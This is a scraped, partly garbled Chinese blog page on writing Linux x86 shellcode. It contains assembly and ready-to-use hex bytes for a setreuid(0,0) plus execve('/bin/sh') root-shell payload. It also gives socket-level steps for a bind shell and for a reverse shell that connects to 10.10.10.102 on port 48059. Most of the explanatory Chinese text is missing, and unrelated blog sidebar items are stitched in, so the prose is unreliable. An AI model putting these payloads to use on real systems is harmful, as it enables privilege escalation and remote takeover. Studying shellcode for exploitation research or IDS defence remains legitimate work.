怎么编写本地linux shellcode编写

zhaisj 的BLOG
用户名:zhaisj
文章数:155
评论数:1316
访问量:1017786
注册日期:
阅读量:5863
阅读量:12276
阅读量:406491
阅读量:1094940
51CTO推荐博文
---Shellcode
&
ShellcodeShellcodeShellcodeShellcode
&
ShellcodeShellShellcodeShellcodeLinux
Shellcode16C16
&
1SUID()()SUIDSetreuid()IDroot(0)
xor ebx,ebx&&&& id(ruid)=0
xor ecx,ecx&&&& id(euid)=0
xor eax,eax
mov al,0x46&&&& 0x46
int 0x80&&&&&&& setreuid(0,0)
root(0)
&
2/bin/sh shellLinuxshellshellexecve/bin/sh
char *shell[2]
& shell[0]=”/bin/sh”;
& shell[1]=0;
execve(shell[0],shell,NULL);
C
xor eax,eax&&&&&&&& eax=0
push eax&&&&&&&&&&& eax=null
push 0x68732f2f&&&&
//sh
push 0x6e69622f&&&&
/bin
mov ebx,esp&&&&&&&& ebx=esp/bin/sh
push eax&&&&&&&&&&& eax=null& null
push ebx&&&&&&&&&&& 2 &&ebx/bin/sh
mov ecx,esp&&&&&&&& 3 &&ecx[“/bin/sh”,NULL]
xor edx,edx&&&&&&&&& 4& &edx=NULL
mov al,0xb&&&&&&&&& &1& &eax=0xb
int 0x80
&
Shellcode16(35)
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80&&&&&&&&&&& ;setreuid(0,0)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1
\x31\xd2\xb0\x0b\xcd\x80&&&&&&&&&&&&&&&&&&&&&&&&& ;/bin/sh
root(0)shell
ShellcodeSQLShellcodeShellcodeShell
&
3Shellcode
shellcode()Shellshell
SocketSocketIP
a) IP SocketTCP
& int server
& server=socket(2,1,0)
b) IPSockaddr_in
& struct sockaddr_in server_addr
& &&server_addr.sin_addr.s_addr=0&&&&&&&& socket
& &&server_addr.sin_port=0xBBBB&&&&&&&& socket0xBBBB=48059
& &&server_addr.sin_family=2&&&&&&&&&&&&& IP
c) IPSocket
& bind(server, (struct sockaddr *)&server_addr, 0x10)
d) socket
& listen(server, 0)
e)
& int client
client=accept(server, 0, 0)
f) stdinstdoutstderrshell(client)
& dup2(client,0)
& dup2(client,1)
& dup2(client,2)
g) execveshellcode
& char *shell[2]
shell[0]=”/bin/sh”
&&& shell[1]=0
execve(shell[0], shell, 0)
&
4shellcode
shellcodeIP()
a) IP SocketTCP
& int soc
& soc=socket(2,1,0)
b) IPSockaddr_in
& struct sockaddr_in server_addr
&&& server_addr.sin_addr.s_addr=0x660A0A0A&& socket10.10.10.102
&&& server_addr.sin_port=0xBBBB&&&&&&&&&&&& socket0xBBBB=48059
&&& server_addr.sin_family=2&&&&&&&&&&&&&&&& IP
c) connect
& int remote
remote=connect(soc, (struct sockaddr*)&server_addr, 0x10)
d) socketstdinstdoutstderrshell
& dup2(soc,0)
& dup2(soc,1)
& dup2(soc,2)
e) execveshellcode
& char *shell[2]
shell[0]=”/bin/sh”
&&& shell[1]=0
execve(shell[0], shell, 0)
10.10.10.10248059
&
5IDS
ShellcodeShellcodeIDSShellcodeIDS
ShellcodeShellcodeIDSIDS本文出自 “” 博客,请务必保留此出处
了这篇文章
类别:┆阅读(0)┆评论(0)博客访问: 1905710
博文数量: 13
博客积分: 176
博客等级: 入伍新兵
技术积分: 219
注册时间:
IT168企业级官微
微信号:IT168qiye
系统架构师大会
微信号:SACC2013
发布时间: 17:35:20
上次学习了下堆喷漏洞的原理,虽说之前有学习过缓冲区溢出的原理,但还没了解过堆喷这个概念,于是趁此机会学习了,顺便复习了缓冲区溢出这块知识,之前由于各种原因对Shellcode的编写只是了解个大概,并没有真正动手写过一个Shellcode。眼前遇到个堆喷漏洞找Shellcode时就下决定自己写个Shellcode,考虑到时间和精力的有.........
阅读(14544) | 评论(0) | 转发(1)
发布时间: 23:30:28
本文主要介绍Heap Spray的基本原理和特点、以及防范技术。......
阅读(5451) | 评论(0) | 转发(1)
给主人留下些什么吧!~~
请登录后留言。

我要回帖

更多关于 linux shellcode编写 的文章

 

随机推荐